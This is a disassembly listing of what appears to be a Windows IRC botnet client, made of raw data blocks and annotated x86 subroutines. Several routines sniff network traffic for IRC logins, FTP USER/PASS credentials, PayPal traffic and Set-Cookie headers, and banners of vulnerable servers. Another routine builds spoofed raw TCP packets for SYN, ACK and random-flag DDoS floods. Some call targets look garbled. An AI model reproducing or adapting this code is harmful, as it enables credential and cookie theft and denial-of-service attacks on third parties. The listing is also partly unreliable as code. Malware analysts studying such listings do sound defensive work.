8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 0BB004Ch, 6A000002h, 22E89008h, 0FF0227E8h, 4CAEF815h dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh dd 434E84h, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h dd 2DE02BE8h db 2 byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h, 4589026Ah dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh dd 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h, 9821E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h dd 565959FFh, 0DF56E890h, 458B022Dh, 69106AD0h, 234C0h dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357C868h dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h dd 56022DDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h dd 68FFFFFDh, 435798h, 9720E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch, 9268E8D0h dd 5659FFFFh, 2DDE4FE8h, 0BB539002h, 434EB0h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh, 50004CAFh dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2DDCAFE8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CDCE0, eax mov eax, offset dword_4CDCE0 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_0 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CAF88 lea eax, [ebp+var_3B8] push eax call dword_4CAFF8 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435AC8 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx call near ptr 26F0000h nop loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CAF20 cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435A98 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CAF8C cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A64 jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A30 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4359FC jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4359C4 loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43598C jmp short loc_4129E7 sub_412660 endp ; --------------------------------------------------------------------------- byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 228E2E3h dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: ___:00412E7Fp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CAF74 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CAF74 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CAF74 push 12345678h mov [ebp+var_14], ax call dword_4CAF70 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CAF74 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 27A0000h lea eax, [ebp+var_1C] push eax nop call near ptr 2790C12h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 2790C12h mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435B1C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB00C pop esi loc_412E33: ; CODE XREF: sub_412B08+5Bj call dword_4CAECC mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; --------------------------------------------------------------------------- push ebx push esi push edi 